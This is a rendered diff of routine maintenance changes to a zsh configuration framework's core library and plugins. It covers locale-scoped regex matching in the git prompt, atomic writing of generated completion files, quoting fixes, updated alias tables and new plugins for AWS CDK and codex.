has_completion=$(( $#comp_files > 0 )) (( has_completion )) || has_completion=$(( $#comp_files > 0 ))
# Load the plugin # Load the plugin
if [[ -f "$base/$plugin.plugin.zsh" ]]; then if [[ -f "$base/$plugin.plugin.zsh" ]]; then
+1 -1
View File
@@ -271,7 +271,7 @@ function _omz_diag_dump_check_core_commands() {
unfunction unhash unlimit unset unsetopt vared wait whence where which zcompile unfunction unhash unlimit unset unsetopt vared wait whence where which zcompile
zle zmodload zparseopts zregexparse zstyle ) zle zmodload zparseopts zregexparse zstyle )
if is-at-least 5.1; then if is-at-least 5.1; then
reserved_word+=( declare export integer float local readonly typeset ) reserved_words+=( declare export integer float local readonly typeset )
else else
builtins+=( declare export integer float local readonly typeset ) builtins+=( declare export integer float local readonly typeset )
fi fi
+27 -7
View File
@@ -36,7 +36,27 @@ function _omz_git_prompt_info() {
&& upstream=" -> ${upstream}" && upstream=" -> ${upstream}"
fi fi
echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref:gs/%/%%}${upstream:gs/%/%%}$(parse_git_dirty)${ZSH_THEME_GIT_PROMPT_SUFFIX}" echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref//\%/%%}${upstream//\%/%%}$(parse_git_dirty)${ZSH_THEME_GIT_PROMPT_SUFFIX}"
}
# Match an extended regular expression against a subject, forcing the C locale
# only for the duration of the call.
#
# OHMYZSH-13330: zsh's "=~" operator delegates to the C library regex, which
# aborts with REG_ILLSEQ when the subject contains an invalid byte sequence
# under a multibyte locale (e.g. a filename with non-UTF-8 bytes in `git
# status` output). Forcing the C locale makes every byte a valid character,
# so the regex matching never fails that way. `git status --porcelain` is
# locale-independent, so this does not change the parsed output.
#
# OHMYZSH-13985: the locale must be scoped to this function and not set for
# the whole caller. Assigning LC_ALL makes zsh re-run setlocale() right away,
# so leaving it set while the rest of the caller runs breaks multibyte
# handling there — most visibly, `echo` refuses to expand Unicode escapes in
# theme prompt symbols ("character not in range").
function _omz_git_prompt_status_match() {
local -x LC_ALL=C
[[ "$1" =~ "$2" ]]
} }
function _omz_git_prompt_status() { function _omz_git_prompt_status() {
@@ -104,11 +124,11 @@ function _omz_git_prompt_status() {
status_lines=("${(@f)${status_text}}") status_lines=("${(@f)${status_text}}")
# If the tracking line exists, get and parse it # If the tracking line exists, get and parse it
if [[ "$status_lines[1]" =~ "^## [^ ]+ \[(.*)\]" ]]; then if _omz_git_prompt_status_match "$status_lines[1]" "^## [^ ]+ \[(.*)\]"; then
local branch_statuses local branch_statuses
branch_statuses=("${(@s/,/)match}") branch_statuses=("${(@s/,/)match}")
for branch_status in $branch_statuses; do for branch_status in $branch_statuses; do
if [[ ! $branch_status =~ "(behind|diverged|ahead) ([0-9]+)?" ]]; then if ! _omz_git_prompt_status_match "$branch_status" "(behind|diverged|ahead) ([0-9]+)?"; then
continue continue
fi fi
local last_parsed_status=$prefix_constant_map[$match[1]] local last_parsed_status=$prefix_constant_map[$match[1]]
@@ -121,7 +141,7 @@ function _omz_git_prompt_status() {
local status_constant="${prefix_constant_map[$status_prefix]}" local status_constant="${prefix_constant_map[$status_prefix]}"
local status_regex=$'(^|\n)'"$status_prefix" local status_regex=$'(^|\n)'"$status_prefix"
if [[ "$status_text" =~ $status_regex ]]; then if _omz_git_prompt_status_match "$status_text" "$status_regex"; then
statuses_seen[$status_constant]=1 statuses_seen[$status_constant]=1
fi fi
done done
@@ -162,13 +182,13 @@ if zstyle -t ':omz:alpha:lib:git' async-prompt \
# or any of the other prompt variables # or any of the other prompt variables
function _defer_async_git_register() { function _defer_async_git_register() {
# Check if git_prompt_info is used in a prompt variable # Check if git_prompt_info is used in a prompt variable
case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT}:${RPS1}:${RPS2}:${RPS3}:${RPS4}" in case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in
*(\$\(git_prompt_info\)|\`git_prompt_info\`)*) *(\$\(git_prompt_info\)|\`git_prompt_info\`)*)
_omz_register_handler _omz_git_prompt_info _omz_register_handler _omz_git_prompt_info
;; ;;
esac esac
case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT}:${RPS1}:${RPS2}:${RPS3}:${RPS4}" in case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in
*(\$\(git_prompt_status\)|\`git_prompt_status\`)*) *(\$\(git_prompt_status\)|\`git_prompt_status\`)*)
_omz_register_handler _omz_git_prompt_status _omz_register_handler _omz_git_prompt_status
;; ;;
@@ -255,7 +275,7 @@ function git_remote_status() {
fi fi
if [[ -n $ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_DETAILED ]]; then if [[ -n $ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_DETAILED ]]; then
git_remote_status="$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_PREFIX${remote:gs/%/%%}$git_remote_status_detailed$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_SUFFIX" git_remote_status="$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_PREFIX${remote//\%/%%}$git_remote_status_detailed$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_SUFFIX"
fi fi
echo $git_remote_status echo $git_remote_status
+3 -1
View File
@@ -124,9 +124,11 @@ fi
if [[ "$ZSH_DISABLE_COMPFIX" != true ]]; then if [[ "$ZSH_DISABLE_COMPFIX" != true ]]; then
source "$ZSH/lib/compfix.zsh" source "$ZSH/lib/compfix.zsh"
# Load only from secure directories # Load only from secure directories
# Reset the flag compinit sets when -i excludes insecure entries
unset _comp_secure
compinit -i -d "$ZSH_COMPDUMP" compinit -i -d "$ZSH_COMPDUMP"
# If completion insecurities exist, warn the user # If completion insecurities exist, warn the user
handle_completion_insecurities &| [[ "$_comp_secure" == yes ]] && handle_completion_insecurities &|
else else
# If the user wants it, load from all found directories # If the user wants it, load from all found directories
compinit -u -d "$ZSH_COMPDUMP" compinit -u -d "$ZSH_COMPDUMP"
+5 -1
View File
@@ -9,7 +9,11 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_op" ]]; then
_comps[op]=_op _comps[op]=_op
fi fi
op completion zsh >| "$ZSH_CACHE_DIR/completions/_op" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_op"
zf_mv -f -- =( op completion zsh ) "$TMPPREFIX"
} &|
# Load opswd function # Load opswd function
autoload -Uz opswd autoload -Uz opswd
+2 -2
View File
@@ -1,5 +1,5 @@
alias-finder() { alias-finder() {
local cmd=" " exact="" longer="" cheaper="" wordEnd="'{0,1}$" finder="" filter="" local cmd=" " exact="" longer="" cheaper="" wordEnd="'?$" finder="" filter=""
# build command and options # build command and options
for c in "$@"; do for c in "$@"; do
@@ -31,7 +31,7 @@ alias-finder() {
# find with alias and grep, removing last word each time until no more words # find with alias and grep, removing last word each time until no more words
while [[ $cmd != "" ]]; do while [[ $cmd != "" ]]; do
finder="'{0,1}$cmd$wordEnd" finder="'?$cmd$wordEnd"
# make filter to find only shorter results than current cmd # make filter to find only shorter results than current cmd
if [[ $cheaper == true ]]; then if [[ $cheaper == true ]]; then
+3 -1
View File
@@ -6,7 +6,9 @@ import argparse
def parse(line): def parse(line):
left = line[0:line.find('=')].strip() left = line[0:line.find('=')].strip()
right = line[line.find('=')+1:].strip('\'"\n ') right = line[line.find('=')+1:].strip('\n ')
if len(right) >= 2 and right[0] == right[-1] and right[0] in '\'"':
right = right[1:-1]
try: try:
cmd = next(part for part in right.split() if len([char for char in '=<>' if char in part])==0) cmd = next(part for part in right.split() if len([char for char in '=<>' if char in part])==0)
except StopIteration: except StopIteration:
+3 -3
View File
@@ -4,10 +4,10 @@ function ansible-version(){
} }
function ansible-role-init() { function ansible-role-init() {
if ! [ -z $1 ] ; then if [[ -n "$1" ]]; then
echo "Ansible Role : $1 Creating...." echo "Ansible Role : $1 Creating...."
ansible-galaxy init $1 ansible-galaxy init "$1"
tree $1 tree "$1"
else else
echo "Usage : ansible-role-init <role name>" echo "Usage : ansible-role-init <role name>"
echo "Example : ansible-role-init role1" echo "Example : ansible-role-init role1"
+1 -1
View File
@@ -21,7 +21,7 @@ plugins=(... archlinux)
| pacloc | `pacman -Qi` | Display information about a package in the local database | | pacloc | `pacman -Qi` | Display information about a package in the local database |
| paclocs | `pacman -Qs` | Search for packages in the local database | | paclocs | `pacman -Qs` | Search for packages in the local database |
| paclr | `sudo pacman -Scc` | Remove all files from the cache | | paclr | `sudo pacman -Scc` | Remove all files from the cache |
| paclsorphans | `sudo pacman -Qdt` | List all orphaned packages | | paclsorphans | `pacman -Qdt` | List all orphaned packages |
| pacmir | `sudo pacman -Syy` | Force refresh of all package lists after updating mirrorlist | | pacmir | `sudo pacman -Syy` | Force refresh of all package lists after updating mirrorlist |
| pacre | `sudo pacman -R` | Remove packages, keeping its settings and dependencies | | pacre | `sudo pacman -R` | Remove packages, keeping its settings and dependencies |
| pacrem | `sudo pacman -Rns` | Remove packages, including its settings and dependencies | | pacrem | `sudo pacman -Rns` | Remove packages, including its settings and dependencies |
+1 -1
View File
@@ -16,7 +16,7 @@ alias pacloc='pacman -Qi'
alias paclocs='pacman -Qs' alias paclocs='pacman -Qs'
alias pacinsd='sudo pacman -S --asdeps' alias pacinsd='sudo pacman -S --asdeps'
alias pacmir='sudo pacman -Syy' alias pacmir='sudo pacman -Syy'
alias paclsorphans='sudo pacman -Qdt' alias paclsorphans='pacman -Qdt'
alias pacrmorphans='sudo pacman -Rs $(pacman -Qtdq)' alias pacrmorphans='sudo pacman -Rs $(pacman -Qtdq)'
alias pacfileupg='sudo pacman -Fy' alias pacfileupg='sudo pacman -Fy'
alias pacfiles='pacman -F' alias pacfiles='pacman -F'
+5 -1
View File
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_arduino-cli" ]]; then
fi fi
# Generate and load arduino-cli completion # Generate and load arduino-cli completion
arduino-cli completion zsh >! "$ZSH_CACHE_DIR/completions/_arduino-cli" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_arduino-cli"
zf_mv -f -- =( arduino-cli completion zsh ) "$TMPPREFIX"
} &|
+5 -1
View File
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_argocd" ]]; then
_comps[argocd]=_argocd _comps[argocd]=_argocd
fi fi
argocd completion zsh >| "$ZSH_CACHE_DIR/completions/_argocd" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_argocd"
zf_mv -f -- =( argocd completion zsh ) "$TMPPREFIX"
} &|
+5 -1
View File
@@ -12,4 +12,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_asdf" ]]; then
autoload -Uz _asdf autoload -Uz _asdf
_comps[asdf]=_asdf _comps[asdf]=_asdf
fi fi
asdf completion zsh >| "$ZSH_CACHE_DIR/completions/_asdf" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_asdf"
zf_mv -f -- =( asdf completion zsh ) "$TMPPREFIX"
} &|
+3 -3
View File
@@ -9,14 +9,14 @@ function agr() {
# Update state file if enabled # Update state file if enabled
function _aws_update_state() { function _aws_update_state() {
if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then
test -d $(dirname ${AWS_STATE_FILE}) || exit 1 test -d "$(dirname "${AWS_STATE_FILE}")" || return 1
echo "${AWS_PROFILE} ${AWS_REGION}" > "${AWS_STATE_FILE}" echo "${AWS_PROFILE} ${AWS_REGION}" > "${AWS_STATE_FILE}"
fi fi
} }
function _aws_clear_state() { function _aws_clear_state() {
if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then
test -d $(dirname ${AWS_STATE_FILE}) || exit 1 test -d "$(dirname "${AWS_STATE_FILE}")" || return 1
echo -n > "${AWS_STATE_FILE}" echo -n > "${AWS_STATE_FILE}"
fi fi
} }
@@ -69,7 +69,7 @@ function asr() {
local -a available_regions local -a available_regions
available_regions=($(aws_regions)) available_regions=($(aws_regions))
if [[ -z "${available_regions[(r)$1]}" ]]; then if [[ -z "${available_regions[(r)$1]}" ]]; then
echo "${fg[red]}Available regions: \n$(aws_regions)" echo "${fg[red]}Available regions: \n$(aws_regions)${reset_color}" >&2
return 1 return 1
fi fi
+1 -1
View File
@@ -1,5 +1,5 @@
# Bedtools plugin # Bedtools plugin
This plugin adds support for the [bedtools suite](http://bedtools.readthedocs.org/en/latest/): This plugin adds support for the [bedtools suite](https://bedtools.readthedocs.io/en/latest/):
* Adds autocomplete options for all bedtools sub commands. * Adds autocomplete options for all bedtools sub commands.
+9
View File
@@ -67,6 +67,9 @@ function bgnotify_appid {
elif [[ -n $WAYLAND_DISPLAY ]] && ([[ -n $SWAYSOCK ]] || [[ -n $I3SOCK ]]) && (( ${+commands[swaymsg]} )); then # wayland+sway elif [[ -n $WAYLAND_DISPLAY ]] && ([[ -n $SWAYSOCK ]] || [[ -n $I3SOCK ]]) && (( ${+commands[swaymsg]} )); then # wayland+sway
local app_id=$(bgnotify_find_sway_appid) local app_id=$(bgnotify_find_sway_appid)
[[ -n "$app_id" ]] && echo "$app_id" || echo $EPOCHSECONDS [[ -n "$app_id" ]] && echo "$app_id" || echo $EPOCHSECONDS
elif [[ -n $NIRI_SOCKET ]]; then # niri
local app_id=$(bgnotify_find_niri_appid)
[[ -n "$app_id" ]] && echo "$app_id" || echo $EPOCHSECONDS
elif [[ -z $WAYLAND_DISPLAY ]] && [[ -n $DISPLAY ]] && (( ${+commands[xprop]} )); then elif [[ -z $WAYLAND_DISPLAY ]] && [[ -n $DISPLAY ]] && (( ${+commands[xprop]} )); then
xprop -root _NET_ACTIVE_WINDOW 2>/dev/null | cut -d' ' -f5 xprop -root _NET_ACTIVE_WINDOW 2>/dev/null | cut -d' ' -f5
else else
@@ -106,6 +109,12 @@ function bgnotify_find_sway_appid {
fi fi
} }
function bgnotify_find_niri_appid {
if (( ${+commands[jq]} )); then
niri msg -j windows | jq '.[] | select(.is_focused) | {app_id, id} | join(",")'
fi
}
function bgnotify_programid { function bgnotify_programid {
case "$TERM_PROGRAM" in case "$TERM_PROGRAM" in
iTerm.app) echo 'com.googlecode.iterm2' ;; iTerm.app) echo 'com.googlecode.iterm2' ;;
+7 -1
View File
@@ -17,6 +17,12 @@ If `brew` is not found in the PATH, this plugin will attempt to find it in commo
In case you installed `brew` in a non-common location, you can still set `BREW_LOCATION` variable pointing to In case you installed `brew` in a non-common location, you can still set `BREW_LOCATION` variable pointing to
the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environment. the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environment.
### sbin directory
This plugin also adds `$HOMEBREW_PREFIX/sbin` to the PATH if the directory exists and isn't already present.
Some Homebrew formulae (e.g. `mtr`) install executables to `sbin`, which `brew doctor` checks for. This
ensures the `bdr` alias runs without warnings.
## Aliases ## Aliases
| Alias | Command | Description | | Alias | Command | Description |
@@ -40,7 +46,7 @@ the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environmen
| `bo` | `brew outdated` | List installed formulae that have an updated version available. | | `bo` | `brew outdated` | List installed formulae that have an updated version available. |
| `br` | `brew reinstall` | Reinstall a formula. | | `br` | `brew reinstall` | Reinstall a formula. |
| `brewp` | `brew pin` | Pin a specified formula so that it's not upgraded. | | `brewp` | `brew pin` | Pin a specified formula so that it's not upgraded. |
| `brews` | `brew list -1` | List installed formulae or the installed files for a given formula. | | `brews` | _function_ | List installed leaf formulae with their dependencies, then casks. |
| `brewsp` | `brew list --pinned` | List pinned formulae, or show the version of a given formula. | | `brewsp` | `brew list --pinned` | List pinned formulae, or show the version of a given formula. |
| `brh` | `brew reinstall --HEAD` | Reinstall a formula with --HEAD | | `brh` | `brew reinstall --HEAD` | Reinstall a formula with --HEAD |
| `bs` | `brew search` | Perform a substring search of cask tokens and formula names for text. | | `bs` | `brew search` | Perform a substring search of cask tokens and formula names for text. |
+10
View File
@@ -30,6 +30,16 @@ if [[ -z "$HOMEBREW_PREFIX" ]]; then
export HOMEBREW_PREFIX="$(brew --prefix)" export HOMEBREW_PREFIX="$(brew --prefix)"
fi fi
# Add Homebrew sbin to PATH if it exists and is not already in PATH.
# Homebrew's shellenv only adds bin directories, not sbin. Some formulae
# (e.g. mtr) install executables to sbin, and brew doctor warns if it's
# missing from PATH.
if [[ -d "$HOMEBREW_PREFIX/sbin" ]]; then
if [[ ! "$PATH" == *"$HOMEBREW_PREFIX/sbin"* ]]; then
export PATH="$HOMEBREW_PREFIX/sbin:$PATH"
fi
fi
if [[ -d "$HOMEBREW_PREFIX/share/zsh/site-functions" ]]; then if [[ -d "$HOMEBREW_PREFIX/share/zsh/site-functions" ]]; then
fpath+=("$HOMEBREW_PREFIX/share/zsh/site-functions") fpath+=("$HOMEBREW_PREFIX/share/zsh/site-functions")
fi fi
+5 -1
View File
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_buf" ]]; then
fi fi
# Generate and load buf completion # Generate and load buf completion
buf completion zsh >! "$ZSH_CACHE_DIR/completions/_buf" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_buf"
zf_mv -f -- =( buf completion zsh ) "$TMPPREFIX"
} &|
+5 -1
View File
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_bun" ]]; then
_comps[bun]=_bun _comps[bun]=_bun
fi fi
SHELL=zsh bun completions >| "$ZSH_CACHE_DIR/completions/_bun" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_bun"
zf_mv -f -- =( SHELL=zsh bun completions ) "$TMPPREFIX"
} &|
+3 -2
View File
@@ -12,17 +12,18 @@ plugins=(... bundler)
## Aliases ## Aliases
| Alias | Command | Description | | Alias | Command | Description |
|--------|--------------------------------------|------------------------------------------------------------------------------------------| | ------ | ----------------- | -------------------------------------------------------- |
| `ba` | `bundle add` | Add gem to the Gemfile and run bundle install | | `ba` | `bundle add` | Add gem to the Gemfile and run bundle install |
| `bck` | `bundle check` | Verifies if dependencies are satisfied by installed gems | | `bck` | `bundle check` | Verifies if dependencies are satisfied by installed gems |
| `bcn` | `bundle clean` | Cleans up unused gems in your bundler directory | | `bcn` | `bundle clean` | Cleans up unused gems in your bundler directory |
| `be` | `bundle exec` | Execute a command in the context of the bundle | | `be` | `bundle exec` | Execute a command in the context of the bundle |
| `bi` | `bundle install --jobs=<core_count>` | Install the dependencies specified in your Gemfile (using all cores in bundler >= 1.4.0) | | `bi` | `bundle install` | Install the dependencies specified in your Gemfile |
| `bl` | `bundle list` | List all the gems in the bundle | | `bl` | `bundle list` | List all the gems in the bundle |
| `bo` | `bundle open` | Opens the source directory for a gem in your bundle | | `bo` | `bundle open` | Opens the source directory for a gem in your bundle |
| `bout` | `bundle outdated` | List installed gems with newer versions available | | `bout` | `bundle outdated` | List installed gems with newer versions available |
| `bp` | `bundle package` | Package your needed .gem files into your application | | `bp` | `bundle package` | Package your needed .gem files into your application |
| `bu` | `bundle update` | Update your gems to the latest available versions | | `bu` | `bundle update` | Update your gems to the latest available versions |
| `bua` | `bundle update --all` | Update all gems to the latest available versions |
## Gem wrapper ## Gem wrapper
+2 -33
View File
@@ -4,44 +4,13 @@ alias ba="bundle add"
alias bck="bundle check" alias bck="bundle check"
alias bcn="bundle clean" alias bcn="bundle clean"
alias be="bundle exec" alias be="bundle exec"
alias bi="bundle_install" alias bi="bundle install"
alias bl="bundle list" alias bl="bundle list"
alias bo="bundle open" alias bo="bundle open"
alias bout="bundle outdated" alias bout="bundle outdated"
alias bp="bundle package" alias bp="bundle package"
alias bu="bundle update" alias bu="bundle update"
alias bua="bundle update --all"
## Functions
bundle_install() {
# Bail out if bundler is not installed
if (( ! $+commands[bundle] )); then
echo "Bundler is not installed"
return 1
fi
# Bail out if not in a bundled project
if ! _within-bundled-project; then
echo "Can't 'bundle install' outside a bundled project"
return 1
fi
# Check the bundler version is at least 1.4.0
autoload -Uz is-at-least
local bundler_version=$(bundle version | cut -d' ' -f3)
if ! is-at-least 1.4.0 "$bundler_version"; then
bundle install "$@"
return $?
fi
# If bundler is at least 1.4.0, use all the CPU cores to bundle install
if [[ "$OSTYPE" = (darwin|freebsd)* ]]; then
local cores_num="$(sysctl -n hw.ncpu)"
else
local cores_num="$(nproc)"
fi
BUNDLE_JOBS="$cores_num" bundle install "$@"
}
## Gem wrapper ## Gem wrapper
+32
View File
@@ -0,0 +1,32 @@
# AWS CDK Plugin
This plugin provides aliases and autocompletion for the [AWS Cloud Development Kit (CDK)](https://aws.amazon.com/cdk/) CLI.
## Usage
Add `cdk` to the plugins array in your `.zshrc`:
```zsh
plugins=(... cdk)
```
## Requirements
- [AWS CDK CLI](https://docs.aws.amazon.com/cdk/v2/guide/getting_started.html) installed (`npm install -g aws-cdk`)
## Aliases
| Alias | Command | Description |
| ------------ | ----------------- | ---------------------------------- |
| `cdkl` | `cdk list` | List all stacks in the app |
| `cdksynth` | `cdk synth` | Synthesize CloudFormation template |
| `cdkdiff` | `cdk diff` | Compare deployed vs local stack |
| `cdkdeploy` | `cdk deploy` | Deploy stack to AWS |
| `cdkdestroy` | `cdk destroy` | Destroy deployed stack |
| `cdkboot` | `cdk bootstrap` | Bootstrap CDK environment |
| `cdkdoc` | `cdk docs` | Open CDK documentation |
| `cdkinit` | `cdk init` | Initialize a new CDK project |
| `cdkwatch` | `cdk watch` | Watch for changes and auto-deploy |
| `cdkctx` | `cdk context` | Manage cached context values |
| `cdkack` | `cdk acknowledge` | Acknowledge a notice |
| `cdkver` | `cdk --version` | Print CDK version |
+12
View File
@@ -0,0 +1,12 @@
#compdef cdk
# Originally found and adapted from: https://github.com/aws/aws-cdk/discussions/24380#discussioncomment-5158176
local -a reply
local IFS
IFS=$'\n' reply=($(COMP_CWORD="$((CURRENT-1))" \
COMP_LINE="$BUFFER" \
COMP_POINT="$CURSOR" \
cdk --get-yargs-completions "${words[@]}"))
_describe 'values' reply
+13
View File
@@ -0,0 +1,13 @@
# Aliases
alias cdkl='cdk list'
alias cdksynth='cdk synth'
alias cdkdiff='cdk diff'
alias cdkdeploy='cdk deploy'
alias cdkdestroy='cdk destroy'
alias cdkboot='cdk bootstrap'
alias cdkdoc='cdk docs'
alias cdkinit='cdk init'
alias cdkwatch='cdk watch'
alias cdkctx='cdk context'
alias cdkack='cdk acknowledge'
alias cdkver='cdk --version'
+1 -1
View File
@@ -1,6 +1,6 @@
# Celery # Celery
This plugin provides completion for [Celery](http://www.celeryproject.org/). This plugin provides completion for [Celery](https://docs.celeryq.dev/en/stable/).
To use it add celery to the plugins array in your zshrc file. To use it add celery to the plugins array in your zshrc file.
+5 -1
View File
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_charm" ]]; then
_comps[charm]=_charm _comps[charm]=_charm
fi fi
charm completion zsh >| "$ZSH_CACHE_DIR/completions/_charm" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_charm"
zf_mv -f -- =( charm completion zsh ) "$TMPPREFIX"
} &|
+5 -1
View File
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_chezmoi" ]]; then
_comps[chezmoi]=_chezmoi _comps[chezmoi]=_chezmoi
fi fi
chezmoi completion zsh >| "$ZSH_CACHE_DIR/completions/_chezmoi" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_chezmoi"
zf_mv -f -- =( chezmoi completion zsh ) "$TMPPREFIX"
} &|
+11
View File
@@ -0,0 +1,11 @@
# codex Plugin
## Introduction
This `codex` plugin sets up completion for [codex](https://github.com/openai/codex).
To use it, add `codex` to the plugins array of your zshrc file:
```bash
plugins=(... codex)
```
+18
View File
@@ -0,0 +1,18 @@
# COMPLETION FUNCTION
if (( ! $+commands[codex] )); then
return
fi
# If the completion file doesn't exist yet, we need to autoload it and
# bind it to `codex`. Otherwise, compinit will have already done that.
if [[ ! -f "$ZSH_CACHE_DIR/completions/_codex" ]]; then
typeset -g -A _comps
autoload -Uz _codex
_comps[codex]=_codex
fi
zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_codex"
zf_mv -f -- =( codex completion zsh < /dev/null 2> /dev/null ) "$TMPPREFIX"
} &|
+1
View File
@@ -32,5 +32,6 @@ It works out of the box with the command-not-found packages for:
- [SUSE](https://www.unix.com/man-page/suse/1/command-not-found/) - [SUSE](https://www.unix.com/man-page/suse/1/command-not-found/)
- [Gentoo](https://github.com/AndrewAmmerlaan/command-not-found-gentoo/tree/main) - [Gentoo](https://github.com/AndrewAmmerlaan/command-not-found-gentoo/tree/main)
- [Void Linux](https://codeberg.org/classabbyamp/xbps-command-not-found) - [Void Linux](https://codeberg.org/classabbyamp/xbps-command-not-found)
- [Alpine Linux](https://pkgs.alpinelinux.org/package/edge/main/x86_64/command-not-found)
You can add support for other platforms by submitting a Pull Request. You can add support for other platforms by submitting a Pull Request.
@@ -74,3 +74,10 @@ if [[ -x /usr/bin/command-not-found ]]; then
/usr/bin/command-not-found "$1" /usr/bin/command-not-found "$1"
} }
fi fi
# Alpine: https://gitlab.alpinelinux.org/alpine/aports/-/blob/master/main/command-not-found/APKBUILD
if [[ -x /usr/libexec/command-not-found ]]; then
command_not_found_handler() {
/usr/libexec/command-not-found "$1"
}
fi
@@ -78,7 +78,7 @@ if is-at-least 4.2.0; then
alias -s chm=xchm alias -s chm=xchm
alias -s djvu=djview alias -s djvu=djview
#list whats inside packed file #list what's inside packed file
alias -s zip="unzip -l" alias -s zip="unzip -l"
alias -s rar="unrar l" alias -s rar="unrar l"
alias -s tar="tar tf" alias -s tar="tar tf"
+3 -3
View File
@@ -5,16 +5,16 @@ This plugin sets up completion and aliases for [Deno](https://deno.land).
## Aliases ## Aliases
| Alias | Full command | | Alias | Full command |
| ----- | ------------------- | | ----- | ---------------- |
| db | deno bundle |
| dc | deno compile | | dc | deno compile |
| dca | deno cache | | dca | deno cache |
| dck | deno check |
| dfmt | deno fmt | | dfmt | deno fmt |
| dh | deno help | | dh | deno help |
| dli | deno lint | | dli | deno lint |
| drn | deno run | | drn | deno run |
| drA | deno run -A | | drA | deno run -A |
| drw | deno run --watch | | drw | deno run --watch |
| dru | deno run --unstable | | dsv | deno serve |
| dts | deno test | | dts | deno test |
| dup | deno upgrade | | dup | deno upgrade |
+7 -3
View File
@@ -1,14 +1,14 @@
# ALIASES # ALIASES
alias db='deno bundle'
alias dc='deno compile' alias dc='deno compile'
alias dca='deno cache' alias dca='deno cache'
alias dck='deno check'
alias dfmt='deno fmt' alias dfmt='deno fmt'
alias dh='deno help' alias dh='deno help'
alias dli='deno lint' alias dli='deno lint'
alias drn='deno run' alias drn='deno run'
alias drA='deno run -A' alias drA='deno run -A'
alias drw='deno run --watch' alias drw='deno run --watch'
alias dru='deno run --unstable' alias dsv='deno serve'
alias dts='deno test' alias dts='deno test'
alias dup='deno upgrade' alias dup='deno upgrade'
@@ -25,4 +25,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_deno" ]]; then
_comps[deno]=_deno _comps[deno]=_deno
fi fi
deno completions zsh >| "$ZSH_CACHE_DIR/completions/_deno" &| zmodload -F zsh/files b:zf_mv
() {
local TMPPREFIX="$ZSH_CACHE_DIR/completions/_deno"
zf_mv -f -- =( deno completions zsh ) "$TMPPREFIX"
} &|
+3 -2
View File
@@ -16,15 +16,16 @@ of `dnf5` and uses it as drop-in alternative to the slower `dnf`.
## Aliases ## Aliases
| Alias | Command | Description | | Alias | Command | Description |
|-------|-------------------------|--------------------------| |-------|-------------------------------|------------------------------------------|
| dnfl | `dnf list` | List packages | | dnfl | `dnf list` | List packages |
| dnfli | `dnf list installed` | List installed packages | | dnfli | `dnf list --installed` | List installed packages |
| dnfgl | `dnf grouplist` | List package groups | | dnfgl | `dnf grouplist` | List package groups |
| dnfmc | `dnf makecache` | Generate metadata cache | | dnfmc | `dnf makecache` | Generate metadata cache |
| dnfp | `dnf info` | Show package information | | dnfp | `dnf info` | Show package information |
| dnfs | `dnf search` | Search package | | dnfs | `dnf search` | Search package |
| **Use `sudo`** | | **Use `sudo`** |
| dnfu | `sudo dnf upgrade` | Upgrade package | | dnfu | `sudo dnf upgrade` | Upgrade package |
| dnfur | `sudo dnf upgrade --refresh` | Upgrade package (force metadata refresh) |
| dnfi | `sudo dnf install` | Install package | | dnfi | `sudo dnf install` | Install package |
| dnfgi | `sudo dnf groupinstall` | Install package group | | dnfgi | `sudo dnf groupinstall` | Install package group |
| dnfr | `sudo dnf remove` | Remove package | | dnfr | `sudo dnf remove` | Remove package |
+2 -1
View File
@@ -5,12 +5,13 @@ local dnfprog="dnf"
command -v dnf5 > /dev/null && dnfprog=dnf5 command -v dnf5 > /dev/null && dnfprog=dnf5
alias dnfl="${dnfprog} list" # List packages alias dnfl="${dnfprog} list" # List packages
alias dnfli="${dnfprog} list installed" # List installed packages alias dnfli="${dnfprog} list --installed" # List installed packages
alias dnfmc="${dnfprog} makecache" # Generate metadata cache alias dnfmc="${dnfprog} makecache" # Generate metadata cache
alias dnfp="${dnfprog} info" # Show package information alias dnfp="${dnfprog} info" # Show package information
